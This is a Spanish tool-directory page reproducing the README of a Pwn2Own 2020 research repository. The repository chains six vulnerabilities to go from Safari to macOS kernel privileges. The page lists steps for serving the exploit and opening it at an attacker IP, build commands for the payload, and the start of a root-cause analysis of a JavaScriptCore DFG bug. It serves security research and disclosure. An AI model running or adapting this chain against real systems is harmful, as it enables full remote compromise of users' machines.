Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
pwn2own2020 — Comprometiendo el kernel de macOS a través de Safari encadenando seis vulnerabilidades | Kitploit
Herramientas/GitHubGitHub/sslab-gatech/pwn2own2020
Escalada de PrivilegiosExplotaciónShellcodeExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de PayloadsExplotación de Binarios
GitHubsslab-gatech/pwn2own2020

pwn2own2020

Comprometiendo el kernel de macOS a través de Safari encadenando seis vulnerabilidades

Ver Repositorio
4145822hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Comprometiendo el kernel de macOS a través de Safari encadenando seis vulnerabilidades

Resumen

Este repositorio contiene los detalles técnicos y de explotación de nuestra propuesta ganadora del Pwn2Own 2020 que apuntaba a Apple Safari con una escalada de privilegios del kernel para macOS 10.15.3. Para más información, también puedes consultar nuestras diapositivas del Blackhat USA 2020 y vídeo. Este repositorio también incluye nuestro vídeo de demostración para la exitosa explotación.

Cómo reproducirlo

  1. Ejecuta el servidor HTTP usando python3 en la carpeta exploits.```shell $ python3 -m http.server 80
2. Accede al sitio web con la IP del servidor del atacante con Safari:```
http://[attacker_ip]/exploit.html
  1. Espere a la Calculadora (normalmente aparece en diez segundos, pero si tiene mala suerte, tardará un poco más) y a una terminal con privilegios de kernel. Para mostrar nuestra escalada de privilegios de kernel, deshabilitamos el SIP. Puede comprobarlo ejecutando el comando csrutil status, que mostrará disabled.

Compilar desde el código fuente

Para su comodidad, proporcionamos un payload compilado, payload.js. Pero, si lo desea, puede compilarlo usted mismo. Tenga en cuenta que esto llevará mucho tiempo porque compilaremos WebKit como parte de nuestra cadena de explotación. Cabe mencionar que solo probamos nuestro proceso de compilación en Mac OS.```shell

Install xcode first

$ python3 -m pip install --user lief $ make

Technical details
-----------------

Para crear este exploit, encadenamos las siguientes *SEIS* vulnerabilidades.

### 1. Ejecución remota de código en Safari mediante un modelado incorrecto de los efectos secundarios del operador 'in' en el compilador DFG de JavaScriptCore

- Análisis de la causa raíz

En JavaScriptCore, cuando se consulta una propiedad indexada con el operador 'in',
el compilador DFG asume que no tiene efectos secundarios a menos que haya un objeto
proxy en su cadena de prototipos que pueda interceptar esta operación.
JavaScriptCore marca un objeto que puede interceptar este acceso a la propiedad indexada
usando el indicador llamado 'MayHaveIndexedAccessors'. Este indicador se
marca explícitamente para el objeto Proxy.```javascript
0 in [] // side-effect free

let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!

Sin embargo, hay otro objeto que puede causar un efecto secundario: JSHTMLEmbedElement que implementa su propio método getOwnPropertySlot(). Una forma de activar callbacks (es decir, efectos secundarios) de JavaScript con el operador 'in' es usar el elemento <embed> con el plugin de PDF; cuando se consulta cualquier propiedad en el objeto DOM de la etiqueta embed / object, intenta cargar el plugin subyacente y el manejador de eventos DOMSubtreeModified puede ser llamado en el caso del plugin de PDF porque usa el método appendChild en el elemento body.

Descargar herramienta